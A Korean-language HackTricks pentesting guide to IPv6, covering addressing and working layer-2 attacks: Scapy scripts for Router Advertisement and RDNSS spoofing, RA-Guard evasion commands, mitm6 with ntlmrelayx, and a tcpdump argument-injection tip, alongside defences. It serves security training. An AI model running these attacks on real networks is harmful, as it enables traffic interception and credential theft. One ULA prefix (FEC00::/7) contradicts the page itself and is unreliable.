Pentesting IPv6

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

IPv6 기본 이론

Networks

IPv6 주소는 네트워크 구성 및 장치 상호작용을 개선하도록 구조화되어 있습니다. IPv6 주소는 다음과 같이 나뉩니다:

  1. 네트워크 프리픽스: 처음 48비트로 네트워크 세그먼트를 결정합니다.
  2. 서브넷 ID: 그 다음 16비트로 네트워크 내 특정 서브넷을 정의하는 데 사용됩니다.
  3. 인터페이스 식별자: 마지막 64비트로 서브넷 내 장치를 고유하게 식별합니다.

IPv6는 IPv4에서 사용하는 ARP 프로토콜을 사용하지 않고, 대신 두 가지 주요 메시지를 가진 ICMPv6를 도입합니다:

  • Neighbor Solicitation (NS): 주소 해석을 위한 멀티캐스트 메시지.
  • Neighbor Advertisement (NA): NS에 대한 유니캐스트 응답 또는 자발적 발표.

IPv6는 또한 특수 주소 유형을 포함합니다:

  • Loopback Address (::1): IPv4의 127.0.0.1과 동일하며, 호스트 내부 통신용.
  • Link-Local Addresses (FE80::/10): 로컬 네트워크 내부 활동용이며 인터넷 라우팅용이 아닙니다. 같은 로컬 네트워크의 장치들은 이 범위를 사용해 서로를 발견할 수 있습니다.

IPv6의 네트워크 명령 실무 사용

IPv6 네트워크와 상호작용하려면 다음과 같은 명령들을 사용할 수 있습니다:

  • Ping Link-Local Addresses: ping6를 사용해 로컬 장치의 존재를 확인합니다.
  • Neighbor Discovery: ip neigh로 링크 계층에서 발견된 장치를 확인합니다.
  • alive6: 같은 네트워크에서 장치를 발견하기 위한 대체 도구입니다.

아래는 몇 가지 명령 예시입니다:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 주소는 로컬 통신을 위해 장치의 MAC address로부터 유도될 수 있습니다. 다음은 알려진 MAC address로부터 Link-local IPv6 address를 유도하는 간단한 가이드와, 네트워크 내 IPv6 주소 유형 및 발견 방법의 간단한 개요입니다.

주어진 MAC address **12:34:56:78:9a:bc**로 Link-local IPv6 address를 다음과 같이 구성할 수 있습니다:

  1. MAC을 IPv6 형식으로 변환: 1234:5678:9abc
  2. 앞에 fe80::를 붙이고 중간에 fffe 삽입: fe80::1234:56ff:fe78:9abc
  3. 왼쪽에서 일곱 번째 비트를 반전시켜 12341034로 변경: fe80::1034:56ff:fe78:9abc

IPv6 주소 유형

  • Unique Local Address (ULA): 로컬 통신용으로, 공용 인터넷 라우팅용이 아닙니다. 프리픽스: FEC00::/7
  • Multicast Address: 일대다 통신용. 멀티캐스트 그룹에 속한 모든 인터페이스로 전달됩니다. 프리픽스: FF00::/8
  • Anycast Address: 일대가장 가까운(closest) 통신용. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됩니다. 2000::/3 글로벌 유니캐스트 범위의 일부입니다.

주소 프리픽스

  • fe80::/10: Link-Local 주소 (169.254.x.x와 유사)
  • fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x 같은 사설 IPv4 범위와 유사)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

네트워크 내 IPv6 주소 발견하기

  1. 네트워크 내 장치의 MAC address를 확보합니다.
  2. MAC address로부터 Link-local IPv6 address를 유도합니다.

방법 2: Multicast 사용

  1. 로컬 네트워크에서 IPv6 주소를 발견하려면 멀티캐스트 주소 ff02::1로 ping을 전송합니다.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

IPv6 네트워크에서 MitM 공격을 수행하기 위한 여러 기법이 있으며, 예를 들면:

  • Spoofing ICMPv6 neighbor or router advertisements.
  • Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
  • Attacking mobile IPv6 (usually requires IPSec to be disabled).
  • Setting up a rogue DHCPv6 server.

필드에서 IPv6 주소 식별

서브도메인 탐색

IPv6 주소와 연관될 가능성이 있는 서브도메인을 찾는 한 방법은 검색 엔진을 이용하는 것입니다. 예를 들어 ipv6.* 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령은 Google에서 사용할 수 있습니다:

site:ipv6./

DNS 쿼리 활용

IPv6 주소를 식별하기 위해 다음과 같은 DNS 레코드 타입을 쿼리할 수 있습니다:

  • AXFR: 전체 존 전송(zone transfer)을 요청하여 광범위한 DNS 레코드를 노출시킬 수 있습니다.
  • AAAA: IPv6 주소를 직접 조회합니다.
  • ANY: 사용 가능한 모든 DNS 레코드를 반환하는 광범위한 쿼리입니다.

ping6로 프로빙

조직과 연관된 IPv6 주소를 확인한 후, ping6 유틸리티로 프로빙할 수 있습니다. 이 도구는 확인된 IPv6 주소의 응답성을 평가하는 데 도움이 되며, 인접한 IPv6 장치를 발견하는 데에도 도움이 될 수 있습니다.

IPv6 로컬 네트워크 공격 기법

다음 섹션에서는 글로벌 프리픽스(global prefix)를 모르는 상태에서도 같은 /64 세그먼트 내에서 실행할 수 있는 실무적인 layer-2 IPv6 공격을 다룹니다. 아래에 제시된 모든 패킷은 link-local이며 로컬 스위치를 통해서만 이동하므로 대부분 환경에서 매우 은밀합니다.

안정적인 랩을 위한 시스템 튜닝

IPv6 트래픽을 다루기 전에, 자신의 테스트로 인해 시스템이 포이즈닝되는 것을 방지하고 대량 패킷 주입/스니핑 시 최적의 성능을 얻기 위해 시스템을 강화하는 것이 권장됩니다.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

모든 IPv6 호스트가 자동으로 여러 멀티캐스트 그룹에 가입(ff02::1, ff02::2, …)하고 SLAAC/NDP를 위해 ICMPv6를 사용하기 때문에, 단 한 개의 패킷도 전송하지 않고 세그먼트 전체를 매핑할 수 있습니다. 다음 Python/Scapy one-liner는 가장 흥미로운 L2 메시지를 수신하여 누가 누구인지 색상 있는 타임스탬프 로그로 출력합니다:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

결과: 몇 초 만에 전체 link-local topology (MAC ⇄ IPv6)를 확보할 수 있으며, active scans에 의존하는 IPS/IDS 시스템에 알림을 발생시키지 않습니다.

Router Advertisement (RA) Spoofing

IPv6 호스트는 기본 게이트웨이 검색을 위해 ICMPv6 Router Advertisements에 의존합니다. 만약 정상 라우터보다 위조된 RAs를 더 자주 주입하면, 기기들은 사용자 모르게 당신을 게이트웨이로 사용하게 됩니다.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

레이스에서 이긴 후 실제로 트래픽을 전달하려면:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router Advertisement 플래그 (M/O) 및 기본 라우터 우선순위 (Prf)

플래그의미클라이언트 동작에 대한 영향
M (Managed Address Configuration)해당 세그먼트에서 DHCPv6를 통한 stateful 주소 할당이 가능함을 알린다.DHCPv6 스푸핑이 작동할 수 있다는 강력한 지표.
O (Other Configuration)호스트가 다른 파라미터(DNS, NTP, …)에 대해 DHCPv6를 사용해야 함을 알린다.주소는 보통 SLAAC에서 얻지만, DNS는 DHCPv6로 가로챌 수 있다.
M=0 / O=0순수 SLAAC 스타일 네트워크.DHCPv6가 전혀 나타나지 않을 수 있으므로 mitm6 대신 rogue RA / RDNSS에 집중하라.
M=1 / O=1혼합 환경.DHCPv6와 SLAAC 정보가 공존할 수 있어 스푸핑 표면이 가장 넓다.

During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

덤프에서 flags [M,O] 필드를 찾으세요 – 추측할 필요 없습니다.

The Prf (Router Preference) field inside the RA header controls how attractive your rogue router looks when multiple gateways are present:

Prf valueBinaryMeaning
High10클라이언트는 이 라우터를 Medium/Low 라우터보다 선호합니다
Medium (default)01거의 모든 정상 장치에서 사용됩니다
Low00더 나은 라우터가 없을 때만 선택됩니다

When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Combining High Prf, a short interval, and a non-zero lifetime makes your rogue gateway remarkably stable.


RDNSS (DNS) Spoofing via RA

RFC 8106 allows adding a Recursive DNS Server (RDNSS) option inside a RA. This is the go-to DNS hijack primitive when the segment is SLAAC-only (M=0 / O=0) and clients do not talk to DHCPv6. Client support is implementation-dependent, so validate the target OS in the lab instead of assuming universal RDNSS consumption.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

같은 패킷은 DNSSL 옵션을 포함해 검색 도메인이 중요한 IPv6-only 또는 dual-stack 환경에서 단축 이름 해석 경로를 오염시킬 수도 있습니다. 공격을 깔끔하게 중단하면 동일한 옵션과 lifetime=0을 가진 revert RA를 전송하세요.

RA-Guard 회피 실전

RFC 7113은 단순한 RA-Guard 배포가 전체 IPv6 헤더 체인을 파싱하지 못하거나 프래그먼트에서 fail open 될 때 우회될 수 있는 이유를 문서화합니다. 이는 새로운 연구는 아니지만 많은 access switches가 부분적인 필터링만 구현하고 있기 때문에 여전히 운영상 관련성이 큽니다.

최근 thc-ipv6 빌드는 이 점을 도구에서 직접 드러냅니다:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

일반적인 위조 RA가 필터링되고 있는 것을 확인한 후에만 이것들을 사용하세요. 만약 -H/-D/-F가 갑자기 호스트들이 당신의 악성 라우터를 받아들이게 한다면, 이는 스위치가 실제 ICMPv6 RA 페이로드 대신 고정된 IPv6 헤더만 매칭하고 있다는 증거입니다.

DHCPv6 DNS Spoofing (mitm6)

정상적인 RA가 M 및/또는 O를 광고할 때, Windows 클라이언트는 일반적으로 주소나 보조 설정을 위해 DHCPv6 요청을 보냅니다. mitm6는 그 동작을 악용하여 DHCPv6에 응답하고 자신의 link-local IPv6를 짧은 리스로 DNS에 삽입합니다. 이로 인해 다음이 가능해집니다:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • 라우터를 건드리지 않고 내부 name resolution을 가로채기
  • 소음이 적은 표적화 — poisoning을 특정 호스트나 도메인으로 범위화할 수 있기 때문

Typical usage:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

현재 mitm6 빌드의 유용한 정보:

  • --no-ra 옵션은 네트워크가 rogue RA를 탐지할 때 공격을 DHCPv6 전용으로 유지합니다.
  • -d/--domain--host-allowlist는 세그먼트의 모든 쿼리를 hijacking하는 대신 poisoning 범위를 좁게 유지합니다.
  • --ignore-nofqdn는 DHCPv6 FQDN 옵션을 생략하는 클라이언트로 인한 노이즈를 줄입니다.

세그먼트가 순수 SLAAC(M=0 / O=0)인 경우, mitm6는 보통 적합한 방법이 아닙니다. 대신 rogue RAs / RDNSS를 사용하고 상위 레벨의 릴레이 로직은 WPAD/relay 페이지에 둡니다.

방어

  • 관리형 스위치에서 RA Guard / DHCPv6 Guard / ND Inspection.
  • 포트 ACL을 통해 합법적인 라우터의 MAC만 RA를 전송하도록 허용.
  • 예상치 못한 고빈도 RA 또는 갑작스러운 RDNSS 변경을 모니터링.
  • 엔드포인트에서 IPv6를 비활성화하는 것은 임시 해결책으로, 종종 최신 서비스를 깨뜨리고 맹점을 숨깁니다 — 대신 L2 필터링을 권장합니다.

게스트/퍼블릭 SSID에서의 NDP 라우터 탐지 및 관리 서비스 노출

많은 소비자용 라우터는 모든 인터페이스에서 관리 데몬(HTTP(S), SSH/Telnet, TR-069 등)을 노출합니다. 일부 배포 환경에서는 “guest/public” SSID가 WAN/코어에 브리지되어 있고 IPv6 전용인 경우가 있습니다. 라우터의 IPv6가 부팅마다 변경되더라도 NDP/ICMPv6를 통해 이를 안정적으로 알아내고 게스트 SSID에서 관리 플레인으로 직접 연결할 수 있습니다.

게스트/퍼블릭 SSID에 연결된 클라이언트에서의 일반적인 워크플로:

  1. All-Routers 멀티캐스트 ff02::2로 ICMPv6 Router Solicitation을 보내 라우터를 발견하고 Router Advertisement (RA)를 캡처합니다:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA는 라우터의 link-local 주소와 종종 global address/prefix를 드러냅니다. link-local만 알려진 경우, 연결 시 zone index를 지정해야 한다는 점을 기억하세요. 예: ssh -6 admin@[fe80::1%wlan0]

대안: 사용 가능한 경우 ndisc6 suite를 사용하세요:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. 게스트 SSID에서 IPv6로 노출된 서비스에 접근하기:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. 관리 셸이 wrapper(예: tcpdump)를 통해 패킷 캡처 도구를 제공하는 경우, -G/-W/-z 같은 추가 tcpdump 플래그를 전달해 post-rotate 명령 실행을 달성할 수 있도록 인수/파일명 인젝션이 가능한지 확인하세요. 참조:

Wildcards Spare tricks

대응/비고:

  • 관리 인터페이스를 guest/public 브리지에 바인딩하지 마세요; SSID 브리지에 IPv6 방화벽을 적용하세요.
  • 가능한 경우 guest 세그먼트에서 NDP/RS/RA에 대해 레이트리밋 및 필터링을 적용하세요.
  • 접근 가능해야 하는 서비스에 대해서는 authN/MFA와 강력한 레이트리밋을 적용하세요.

참조

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기